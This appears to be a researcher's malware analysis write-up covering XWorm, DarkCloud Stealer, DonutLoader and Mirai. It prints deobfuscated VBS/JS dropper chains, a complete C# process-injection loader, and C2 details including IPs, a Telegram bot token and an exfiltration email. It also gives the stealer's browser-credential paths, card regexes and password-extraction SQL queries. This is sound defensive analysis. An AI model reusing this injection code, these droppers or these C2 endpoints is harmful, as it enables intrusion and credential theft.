Starting with the "javascript" file, it had only 1 purpose and it was extracting a "DallasBoulevard.bat" into "AppData/Local/Temp" and executing it.
This batch file had a few purposes, it was also obfuscated but I extracted the first thing it does, executing a "PowerShell" command, which this "PowerShell" command itself will also use the bat file (In different directory but same bat file) to get first line starting with ":::", Base64 decode it and execute it (Powershell command again).
This Powershell command is using advanced ways to avoid detection. Things it does:
Comments are added me as I was analysing script, strings were also encrypted so I had to decrypt them too.
After, powershell script is done executed, it looks for "::" line and seperates it to 2 different executable files. First executable .NET file is useless and does nothing, but the second one decrypts bytes and executes the "XWormClient.exe" (Which is the main malware file we were looking for).
This .NET executable is highly obfuscated, I used NetReactorSlayer to deobfuscate it, but honestly it couldn't do much. I might have done something wrong but it is what it is, I could get the things I need at the end.
XWormClient
PART 1: Decrypt Strings: (ALL STRINGS) Glass0.
- obf_str1 = 192.159.99.85
- obf_str2 = 6000
- obf_str3 = <666666>
- obf_str4 = <Xwormmm>
- obf_str5 = XWorm V6.0
- obf_str6 = USB.exe
- string2 = bc1qac0j3zkpqwudsezg63x37nmqv2tanpk2zys43c
- obf_str7 = 0x9e335947293636ADfC39A13825Cd04244Fd0c1a9
- obf_str8 = TWNsPN7sYpTSogGAnixsTDJnnPCViDQ45r
- obf_str9 = 7257315662:AAGE4uU4C2ntEMTG6_foXKQLLlTndz8MhuE
- obf_str10 = 440743435
PART 2: Create new Mutex with name: "6NW0cPlN6C2gZ2Tp"
PART 3: Application run and set in infinite loop
PART 4: Setup Network Connection (DefaultConnectionLimit etc. changed)
PART 5: (After WebClient object created)
obj3: "☠ [XWorm V6.0 @XCoderTools]\r\n\r\nNew CLient : \r\n41B3E62F549A81F56A43\r\n\r\nUserName : flare\r\nOSFullName : Microsoft Windows 10 Pro\r\nUSB : False\r\nCPU : 13th Gen Intel i7-13650HX\r\nGPU : Microsoft Remote Display Adapter Microsoft Basic Display Adapter \r\nRAM : 7.98 GB\r\nGroup : XWorm V6.0"
NOTE: This is my PC configuration (VM)
Then File is downloaded from: obj2 {string[0x00000006]} object {string[]} [0] "https://api.telegram.org/bot" [1] "7257315662:AAGE4uU4C2ntEMTG6_foXKQLLlTndz8MhuE" [2] "/sendMessage?chat_id=" [3] "440743435" [4] "&text=" [5] "☠ [XWorm V6.0 @XCoderTools]\r\n\r\nNew CLient : \r\n41B3E62F549A81F56A43\r\n\r\nUserName : flare\r\nOSFullName : Microsoft Windows 10 Pro\r\nUSB : False\r\nCPU : 13th Gen Intel i7-13650HX\r\nGPU : Microsoft Remote Display Adapter Microsoft Basic Display Adapter \r\nRAM : 7.98 GB\r\nGroup : XWorm V6.0"
returned: @"{""ok"":true,""result"":{""message_id"":1132,""from"":{""id"":7257315662,""is_bot"":true,""first_name"":""VIRUS \ud83e\udda0 BOTS"",""username"":""Alvin0365bot""},""chat"":{""id"":440743435,""first_name"":""Alvinmullar"",""username"":""alvinmullar"",""type"":""private""},""date"":1753785840,""text"":""\u2620 [XWorm V6.0 @XCoderTools]\n\nNew CLient : \n41B3E62F549A81F56A43\n\nUserName : flare\nOSFullName : Microsoft Windows 10 Pro\nUSB : False\nCPU : 13th Gen Intel i7-13650HX\nGPU : Microsoft Remote Display Adapter Microsoft Basic Display Adapter \nRAM : 7.98 GB\nGroup : XWorm V6.0"",""entities"":[{""offset"":14,""length"":12,""type"":""mention""}]}}"
after that ,webclient is disposed.
Result?
What we get is, this telegram bot is used as C2 and "192.159.99.85:6000" is (probably, not sure) used for remote connection. I didn't go deeper but I uploaded all these files in to MalwareBazaar for anyone that needs to check it out. These all are new file and XWormClient version is "6.0" (latest).
IOC
Small Story
By early 2025, the cyber landscape had tilted. Digital defenses adapted quickly—but DarkCloud Stealer, a slick information‑stealer first seen in 2022, had quietly evolved. A new AutoIt‑decoded campaign emerged in January and February 2025, targeting high‑value institutions including Polish government networks and finance companies. These variants hid inside phishing emails and weaponized RAR archives hosted on file‑sharing platforms. When victims downloaded them, an AutoIt executable delivered XOR‑encrypted payloads and shellcode, eventually unlocking the DarkCloud payload in memory
Why did I analyze it?
I saw a DarkCloud sample listed in malware bazaar and just decided to look into it, so maybe I can find new malware sample.
General Malware Flow
It was honestly short compared to other malwares I have worked with.
The thing was, obfuscations were a little bit annoying but easy to deobfuscate. I would even say, these first 3 files had nearly same obfuscation technique used on them. Just a few changes.
First 3 files deobfuscated
Bukti_Transfer.vbs
tJJD = <base64 data>
private function qdUwPdivbxOxQqtzizZckfyGUlMwxwxjAOnruYnurq ( asxgYBeRPktTnNmMAYHDbkZtLblVPBcIKZuFtPjkkSSoYGaFXcUNDWCqTEVwQJBNHlJNThSlpWTJR )
CreateObject( Microsoft.xmldom ).createElement( "hadXkIlrRLm" ).DataType = bin.base64
CreateObject( Microsoft.xmldom ).createElement( "hadXkIlrRLm" ).Text = asxgYBeRPktTnNmMAYHDbkZtLblVPBcIKZuFtPjkkSSoYGaFXcUNDWCqTEVwQJBNHlJNThSlpWTJR
qdUwPdivbxOxQqtzizZckfyGUlMwxwxjAOnruYnurq = CreateObject( Microsoft.xmldom ).createElement( "hadXkIlrRLm" ).NodeTypedValue
end function
Sub UabNeUPVDYZliECkFVEBrWraz( KLekuYrThvhlvnaSBAdMgwIeFscHHqncJwyLmNTlnvuijzCrYNvBZpZNDAfCwkLrHEczoPfogrZkCZvGpl , jeEhreMLGLMdeMGYfWgkxtABpCvmGCeTgnihSEifsCeAkezGlFIyOaNpeCspjaFDhswrdYGboBruPzQKCoBAufFGZtCQLsvSxaT)
CreateObject( AdoDb.stream ).Type = 1
CreateObject( AdoDb.stream ).Open
CreateObject( AdoDb.stream ).Write jeEhreMLGLMdeMGYfWgkxtABpCvmGCeTgnihSEifsCeAkezGlFIyOaNpeCspjaFDhswrdYGboBruPzQKCoBAufFGZtCQLsvSxaT
CreateObject( AdoDb.stream ).SaveToFile KLekuYrThvhlvnaSBAdMgwIeFscHHqncJwyLmNTlnvuijzCrYNvBZpZNDAfCwkLrHEczoPfogrZkCZvGpl, 2
End Sub
UabNeUPVDYZliECkFVEBrWraz CreateObject( SCRipting.filesystemobject ).getspecialfolder( 2 )\DIFqiByo.js, qdUwPdivbxOxQqtzizZckfyGUlMwxwxjAOnruYnurq(tJJD)
CreateObject("WScript.Shell").Run CreateObject( SCRipting.filesystemobject ).getspecialfolder( 2 )\DIFqiByo.js
DIFqiByo.js
XCaAtSSXdBxcDghydxGTzrHLzvIOjsbNfwLultI = "<base64_string>" ;
UHYgIKAlppsqDgDwqEAhaRmVfBdoFM = new ActiveXObject( Scripting.FileSystemObject ).GetSpecialFolder( 2 ) + Fexcel.xls
function zcFEtAhLdQTEBlkhVCFKTZfScCEKhu (XwMAPAhkvmlUNbZQhAbymGZJAivpspBOpiajuMcITJZIvHICMyooIgOQWDzhEssF)
{
var kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK = new ActiveXObject( Microsoft.XMLDOM );.createElement( "YkNWdVKSrzJKfxvQTcyPsOPeKXzGibcGkeEdxvyxSPLiwLuBzPckzYeJUiMGWEkP" );
kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK.dataType = bin.base64
kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK.text = XwMAPAhkvmlUNbZQhAbymGZJAivpspBOpiajuMcITJZIvHICMyooIgOQWDzhEssF ;
return kWeeBqWVYTecgQNsZtctBMFJUJNrMvDbRTYYdeBWcTQpBmkFpGHLPyEXRUJrdeIcQDK.nodeTypedValue ;
}
function bNXRDryrkPSQqZsOnPvTzrgBOxheSFwpNmOLTAiCd( qXBQJWZQUiIoHxjzsqbmmhMdKDUDBGhMgdyUonWgXZkRYlKpmfJm , XeVvaZUARvxJpMkLnbYRRTEsnPiVfhxRCdUbJsGdkpxZGXttkzgaVqcEacILqzVjxgGMsIBuUvgbWemPVpkfA)
{
var omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu = new ActiveXObject( ADODB.Stream );
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Open();
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Type = 1;
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Write( XeVvaZUARvxJpMkLnbYRRTEsnPiVfhxRCdUbJsGdkpxZGXttkzgaVqcEacILqzVjxgGMsIBuUvgbWemPVpkfA );
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Position = 0;
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.SaveToFile( qXBQJWZQUiIoHxjzsqbmmhMdKDUDBGhMgdyUonWgXZkRYlKpmfJm , 2);
omQoIUtzCswJfnXxJxDFRRfiPLzvKLBuJUdAFDRPYOMqTuISMEqqaHbWGhYwUyorqBzKJXrGfngCFpOUDgjFVLTBtHu.Close();
}
bNXRDryrkPSQqZsOnPvTzrgBOxheSFwpNmOLTAiCd(new ActiveXObject( Scripting.FileSystemObject ).GetSpecialFolder( 2 )\adobe.js, zcFEtAhLdQTEBlkhVCFKTZfScCEKhu(XCaAtSSXdBxcDghydxGTzrHLzvIOjsbNfwLultI));
bNXRDryrkPSQqZsOnPvTzrgBOxheSFwpNmOLTAiCd(UHYgIKAlppsqDgDwqEAhaRmVfBdoFM, zcFEtAhLdQTEBlkhVCFKTZfScCEKhu(hwEGxbBGnBNdYyRQfv));
new ActiveXObject( WScript.Shell ).Run(new ActiveXObject( Scripting.FileSystemObject ).GetSpecialFolder( 2 )\adobe.js) ;
new ActiveXObject( WScript.Shell ).Run(UHYgIKAlppsqDgDwqEAhaRmVfBdoFM) ;
adobe.js
WjfOMggRpJFcoITKXbCPawOtniqPc = "<base64_string>";
FTRROHYpgXUatWipcLjFwD = new ActiveXObject( Scripting.FileSystemObject ).GetSpecialFolder( 2 ) \JReSz.exe
function OMqNgoRrQmsuhTxuvdFrvfHuKGQdzBpDyYbuX (TBJfBLfbmhXlhPMXgVClficsWQbhEjZbcsSumKHnCpSkrqXwbpwriWYlZQIlkyXDHvJpwRkV)
{
OOjqQrBfteGPmisFThUVBVDEROdvhiAJFacUnhUhPdsGrIQYDDVOxPTsLfYBOFyKewKMGYSlNmFYdxMJy.dataType = bin.base64
OOjqQrBfteGPmisFThUVBVDEROdvhiAJFacUnhUhPdsGrIQYDDVOxPTsLfYBOFyKewKMGYSlNmFYdxMJy.text = TBJfBLfbmhXlhPMXgVClficsWQbhEjZbcsSumKHnCpSkrqXwbpwriWYlZQIlkyXDHvJpwRkV ;
return OOjqQrBfteGPmisFThUVBVDEROdvhiAJFacUnhUhPdsGrIQYDDVOxPTsLfYBOFyKewKMGYSlNmFYdxMJy.nodeTypedValue ;
}
YnBjXqSbajJqZKnFLbqmzukQhfjfnCSHtrtEGgdmBrmzcGcMFNQSnfZdCkCsGnnYRCxiQiyfxEkIIkoaDWZalzUNRQCWdlfODOiaJtvWOlUivRURvcojONmRijQzgcCMYVEtCNRJbCLAflRAvkaBwvApcQsZdvqmjIKZMbPiKfILCmmwRQEwCAPcVORlVrffMYRXa = ADODB.Stream
function rtSfknqMMIEJPdLbCDSclKEBnUBxRfpHOTAFjGXKhbEnYoSLuTG( aXosOwpwIrDWqJoZgXjEdivCGfHNVNrobCstdWtbAkPcXWgYACeLWsZrbmmiobauzOvoQvwKeHDsTSfjzjNTjgSjcBRrkKnZKVcIbrHFGThPohYJHDjFOGKTwMLPdEZTTdiypWHHbHMPyDuvcIkhbhLDKJMPgsbBuNvKyaTkvbeGtvVsRQ , vakSaKwgseLrCHtcjbJLBqSjyqiuKjUBKOgoZZUTUqjKuJMgEpupYaSFHATkbCWIKKhnaFDKHprLHHppdCpUpedkwbgYFksSUaAkbYFyljiijGyALdGZMBSfhxrzZfEWxYrgHENFwriFvuApcfMbdTGSHUDdhGYGfLlKPSsHQBcUTNjmwBWtSctdRY)
{
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Open();
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Type = 1;
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Write(vakSaKwgseLrCHtcjbJLBqSjyqiuKjUBKOgoZZUTUqjKuJMgEpupYaSFHATkbCWIKKhnaFDKHprLHHppdCpUpedkwbgYFksSUaAkbYFyljiijGyALdGZMBSfhxrzZfEWxYrgHENFwriFvuApcfMbdTGSHUDdhGYGfLlKPSsHQBcUTNjmwBWtSctdRY );
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Position = 0;
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.SaveToFile(aXosOwpwIrDWqJoZgXjEdivCGfHNVNrobCstdWtbAkPcXWgYACeLWsZrbmmiobauzOvoQvwKeHDsTSfjzjNTjgSjcBRrkKnZKVcIbrHFGThPohYJHDjFOGKTwMLPdEZTTdiypWHHbHMPyDuvcIkhbhLDKJMPgsbBuNvKyaTkvbeGtvVsRQ ,2 );
AXEEvxGTXPJFlzYrAkKSGnZubEInXaEOndQuGKKQVHazrDSJppVGAxoMyJdroSwxKvRHielpZtwzNZDYlyyhEyNqpDwxhTcCLcpvlKbLEfgGApzYFEFpUOtMhbSfhnIFRtolkHmbXncYRHqAEXrcNmiwicOKrvdQXbpGBOoxSeRhmU.Close();
}
rtSfknqMMIEJPdLbCDSclKEBnUBxRfpHOTAFjGXKhbEnYoSLuTG(FTRROHYpgXUatWipcLjFwD, OMqNgoRrQmsuhTxuvdFrvfHuKGQdzBpDyYbuX(WjfOMggRpJFcoITKXbCPawOtniqPc))
bEXBUtvehdQuFvkqQVWhBuEzKZZUlaeqRp = new ActiveXObject(Wscript.Shell);
bEXBUtvehdQuFvkqQVWhBuEzKZZUlaeqRp.Run(FTRROHYpgXUatWipcLjFwD) ;
VB Exe
And Finally, adobe.js drops Visual Basic v5.0 compiled 32-bit binary, which serves as stealer, keylogger, logger.
Steals data like:
Browser Related Data |
---|
\Google\Chrome\User Data |
\Opera Software\Opera Stable |
\Yandex\YandexBrowser\User Data |
\360Chrome\Chrome\User Data |
\Comodo\Dragon\User Data |
\MapleStudio\ChromePlus\User Data |
\Chromium\User Data |
\Torch\User Data |
\Epic Privacy Browser\User Data |
\BraveSoftware\Brave-Browser\User Data |
\Iridium\User Data |
\7Star\7Star\User Data |
\Amigo\User Data |
\CentBrowser\User Data |
\Chedot\User Data |
\CocCoc\Browser\User Data |
\Elements Browser\User Data |
\Kometa\User Data |
\Orbitum\User Data |
\Sputnik\Sputnik\User Data |
\uCozMedia\Uran\User Data |
\Vivaldi\User Data |
\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer |
\CatalinaGroup\Citrio\User Data |
\Coowon\Coowon\User Data |
\liebao\User Data |
\QIP Surf\User Data |
\Microsoft\Edge\User Data |
\Mozilla\Firefox\Profiles |
\Waterfox\Profiles |
\K-Meleon\Profiles |
\Thunderbird\Profiles |
\Comodo\IceDragon\Profiles |
\8pecxstudios\Cyberfox\Profiles |
\NETGATE Technologies\BlackHawK\Profiles |
\Moonchild Pro2ductions\Pale Moon\Profiles |
Card Related Data |
---|
username_value |
name_on_card |
expiration_month\expiration_year |
card_number_encrypted |
^389[0-9]{11}$ |
Amex Card |
^(6541|6556)[0-9]{12}$ |
Carte Blanche Card |
^3(?:0[0-5]|[68][0-9])[0-9]{11}$ |
Diners Club Card |
6(?:011|5[0-9]{2})[0-9]{12}$ |
Discover Card |
^63[7-9][0-9]{13}$ |
Insta Payment Card |
^(?:2131|1800|35\d{3})\d{11}$ |
JCB Card |
^9[0-9]{15}$ |
KoreanLocalCard |
^(6304|6706|6709|6771)[0-9]{12,15}$ |
Laser Card |
^(5018|5020|5038|6304|6759|6761|6763)[0-9]{8,15}$ |
Maestro Card |
5[1-5][0-9]{14}$ |
Mastercard |
3[47][0-9]{13}$ |
Express Card |
^(6334|6767)[0-9]{12}|(6334|6767)[0-9]{14}|(6334|6767)[0-9]{15}$ |
Solo Card |
^(62[0-9]{14,17})$ |
Union Pay Card |
4[0-9]{12}(?:[0-9]{3})?$ |
Visa Card |
^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14})$ |
Visa Master Card |
^(4903|4905|4911|4936|6333|6759)[0-9]{12}|(4903|4905|4911|4936|6333|6759)[0-9]{14}|(4903|4905|4911|4936|6333|6759)[0-9]{15}|564182[0-9]{10}|564182[0-9]{12}|564182[0-9]{13}|633110[0-9]{10}|633110[0-9]{12}|633110[0-9]{13}$ |
Other than that, it uses showip.net to get IP address of the victim.
Uses mysql queries, some of the queries:
SELECT origin_url, username_value, password_value, length(password_value) FROM logins
SELECT origin_url, username_value, password_value FROM logins
SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
etc.
How data is sent
Uses smtp.gmail.com service to send data to "Williamsaustin2099@gmail.com"
That's all for this malware.
Note: The VB binary was uploaded by JAMESWT_WT (2025-08-01) before me, most likely different case but same malware used for stealing, logging etc.
DonutLoader
Warning!
This analysis will be only about DonutLoader dropping files and injecting shellcode in a new process. Shellcode itself is poorly written and doesn't even work. (Gives User Exception)
What is DonutLoader?
Donut is an open-source in-memory injector/loader, designed for execution of VBScript, JScript, EXE, DLL files and dotNET assemblies. It was used during attacks against U.S. organisations according to Threat Hunter Team (Symantec) and U.S. Defence contractors (Unit42).
Github: https://github.com/TheWover/donut
-Malpedia
Malware Flow
Start.ps1
It is non-obfuscated simple payload that use AES to decrypt bytes and uses fileless method to Invoke Entry Point of this .Net 32 Assembly:
$pKNLDFLYeXBldjWOniTYbbNwDmhkEXl = [System.Security.Cryptography.AesManaged]::Create()
$pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Mode = [System.Security.Cryptography.CipherMode]::CFB
$pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126
$pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.Key = ...
$pKNLDFLYeXBldjWOniTYbbNwDmhkEXl.IV = ...
...
...
...
$mkGojQZagZNcgSCKvDLTRrKszMXjRXS = $CXXPHgQDJiHqCYomtbKDxMBPoWqhryB.ToArray()
$DSNsZjfCuypSOuSoVnLNXZWRUAnOwTQ = [System.Reflection.Assembly]::Load(...)
$ijgkjszDBpbruCzVYHybVgjVDWVxyVr = $DSNsZjfCuypSOuSoVnLNXZWRUAnOwTQ.EntryPoint
$ijgkjszDBpbruCzVYHybVgjVDWVxyVr.Invoke($null, @())
Stub.exe
It has some simple obfuscations which can be passed manually and some common sense. Uses AES again for decryption of strings, which you can just put breakpoint at "return" to get values.
But the main purpose is, it has source code of C# file that will be used for process injection:
AzeroPum
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace AzeroPum
{
public static class AzeroKick
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect
);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId
);
[DllImport("kernel32.dll")]
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll")]
static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("kernel32.dll")]
static extern bool CloseHandle(IntPtr hObject);
[StructLayout(LayoutKind.Sequential)]
struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
struct STARTUPINFO
{
public uint cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public static void AzeroFloid(string path, byte[] bytes)
{
int controlVar = 7;
Random rng = new Random();
// Control flow obfuscation loop
while (controlVar > 0)
{
switch (controlVar)
{
case 7:
if ((DateTime.Now.Ticks % 2) == 0)
{
controlVar = 4;
}
else
{
controlVar = 5;
}
Thread.Sleep(rng.Next(20, 50));
break;
case 4:
// Note: rng.Next(0, 100) will never be > 150, so always goes to case 3
if (rng.Next(0, 100) > 150)
{
controlVar = 6;
}
else
{
controlVar = 3;
}
Thread.Sleep(rng.Next(10, 30));
break;
case 5:
DummyOperation();
controlVar = 3;
break;
case 3:
controlVar = 2;
break;
case 2:
controlVar = 1;
break;
case 1:
controlVar = 0;
break;
default:
controlVar--;
break;
}
}
// Initialize process startup info
STARTUPINFO si = new STARTUPINFO();
si.cb = (uint)Marshal.SizeOf(typeof(STARTUPINFO));
PROCESS_INFORMATION pi;
// Create suspended process (flag 0x4 = CREATE_SUSPENDED)
bool created = !(!CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi));
if (!created || pi.hProcess == IntPtr.Zero)
{
for (int i = 0; i < 3; i++)
{
Thread.Sleep(10);
}
return;
}
// Allocate memory in target process (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x40 = PAGE_EXECUTE_READWRITE)
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)bytes.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero)
{
CloseHandles(pi);
return;
}
// Write payload bytes to allocated memory
IntPtr written;
if (!WriteProcessMemory(pi.hProcess, addr, bytes, (uint)bytes.Length, out written) || written == IntPtr.Zero)
{
CloseHandles(pi);
return;
}
// Create remote thread to execute the payload
IntPtr threadId;
IntPtr thread = CreateRemoteThread(pi.hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out threadId);
if (thread == IntPtr.Zero)
{
CloseHandles(pi);
return;
}
// Wait for thread completion (0xFFFFFFFF = INFINITE)
WaitForSingleObject(thread, 0xFFFFFFFF);
// Terminate the process
bool terminated = TerminateProcess(pi.hProcess, 0);
if (!terminated)
{
Thread.Sleep(50);
TerminateProcess(pi.hProcess, 0);
}
// Clean up handles
CloseHandle(thread);
CloseHandles(pi);
}
private static void CloseHandles(PROCESS_INFORMATION pi)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
private static void DummyOperation()
{
int x = 0;
for (int i = 0; i < 5; i++)
{
x ^= i;
x += 2;
}
if (x % 2 == 0)
{
x /= 2;
}
}
}
}
// strings decoded System.dll, System.Core.dll, .AzeroPum.AzeroKick, AzeroFloid
// Invoked using C:\Windows\SysWOW64\explorer.exe and a bunch of bytes I save these bytes to shellcode.bin
I added comments under but other comments were already existing in payload. To make it simple, it just creates explorer.exe process, allocates memory, writes bytes, creates thread starting from this address. I wanted to unpack shellcode dynamically but shellcode is poorly written and gives User Exception at a point. At the end I could only find 1 new sample related to DonutLoader (Stub.exe), which I will have link below for anyone that needs to see it.
IOC
Mirai Botnet Analysis: Deep Dive into System Calls
What is Mirai?
Mirai is a self-propagating botnet malware that primarily targets IoT devices running Linux. It gained notoriety for launching massive DDoS attacks and compromising millions of IoT devices worldwide by exploiting default credentials and vulnerabilities.
# Typical Mirai infection vector
telnet <target_ip>
# Login attempts with default credentials:
# admin:admin, root:xc3511, root:vizxv, etc.
The Story of Mirai
Originally discovered in 2016, Mirai became infamous for taking down major internet services including Twitter, Netflix, and Reddit through coordinated DDoS attacks. The malware spreads by scanning for vulnerable IoT devices, infects them, and adds them to a botnet controlled by command and control (C2) servers.
Timeline:
2016-08 → First Mirai attacks detected
2016-09 → Major DDoS against KrebsOnSecurity (620 Gbps)
2016-10 → Dyn DNS attack takes down Twitter, Netflix, Reddit
2016-10 → Mirai source code leaked on Hackforums
String Analysis Findings
During static analysis, several questionable strings were discovered embedded within the malware binary. These strings provide insight into the malware author's mindset and potential targeting preferences:
These embedded strings suggest the malware may contain additional functionality or targeting logic beyond the standard Mirai capabilities observed in the dynamic analysis.
System Call Analysis: A Journey Through Mirai's Execution
Process Initialization & Setup
Process Identification
getpid() -> returns current process ID
getppid() -> returns parent process ID (3887)
Resource Limits Configuration
ugetrlimit() -> queries stack size limits
setrlimit() -> reduces stack size from 8MB to 2MB
This unusual stack size reduction suggests memory optimization for embedded IoT devices.
Signal Handling Setup
rt_sigaction() -> sets up SIGPWR (signal 32) handler
rt_sigprocmask() -> blocks certain signals
The use of SIGPWR (power failure signal) is particularly interesting - this signal is rarely used in normal programs and likely serves as a custom communication mechanism or anti-debugging technique.
Memory Management
// Heap expansion observed
brk(0x8065000) = 0x8065000 // New heap boundary
// EAX: 0x8065000 (134631424)
The malware performs dynamic memory allocation, expanding its heap space as needed.
Network Operations
; Socket creation and immediate closure
socketcall(SYS_SOCKET) = 3 ; Creates socket descriptor 3
close(3) = 0 ; Immediately closes socket
; EAX: 0x3 → 0x0 (success)
This quick socket open/close pattern suggests network capability testing or fingerprinting.
Time-Based Operations
// Timestamp collection
time(NULL) = 1755178257 // 0x689de511
times(&tms_buf) = 429663940 // 0x199c26c4
Critical Observation: The malware uses time-based execution control, suggesting it operates on scheduled intervals or waits for specific time conditions before activating.
Process Forking Behavior
fork() -> creates child process with PID 5489 (0x1571)
Key Debugging Point: As you can see, Mirai uses fork()
at this critical juncture, spawning a child process with PID 5489. Use this PID to attach GDB to debug the child process - this is where the main malicious activity typically occurs.
Process Enumeration & System Reconnaissance
The malware systematically scans running processes by reading /proc/[PID]/cmdline
files:
Target Process Discovery:
-
/proc/1595/cmdline
- Initial process scanning -
/usr/bin/pipewire-pulse
- Audio service -
/usr/bin/dbus-daemon
- System message bus -
/usr/bin/gnome-keyring-daemon
- Credential management -
/usr/libexec/xdg-document-portal
- Document access service -
/usr/libexec/xdg-permission-store
- Permission management -
/usr/libexec/gdm-wayland-session
- Display manager session -
/usr/libexec/gnome-session-binary
- GNOME session manager -
/usr/libexec/gcr-ssh-agent
- SSH key management -
/usr/bin/gnome-shell
- Desktop environment
Pattern Analysis: The malware specifically targets GNOME desktop environment processes, suggesting it's designed to operate on Linux desktop systems rather than just embedded IoT devices.
Data Extraction Methodology
Each process enumeration follows this pattern:
# Pattern observed in GDB trace
open("/proc/1595/cmdline", O_RDONLY) = 4
read(4, "/usr/bin/pipewire-pulse\0", 4096) = 24
close(4) = 0
open("/proc/1596/cmdline", O_RDONLY) = 4
read(4, "/usr/bin/dbus-daemon\0--config-file...", 4096) = 106
close(4) = 0
GDB Debugging Technique:
# Set breakpoint on read syscalls
(gdb) catch syscall read
# When stopped, examine EBP register contents
(gdb) x/s $ebp
# Extract strings automatically with:
(gdb) python print(gdb.execute("x/s $ebp", to_string=True))
C2 Communication Indicators
The time-based operations combined with network socket creation suggest the malware communicates with its C2 server (103.19.163.174) using time-synchronized protocols:
# Observed communication pattern
C2_SERVER = "103.19.163.174"
timestamp = 0x689de511 # 1755178257
# Time-based authentication logic
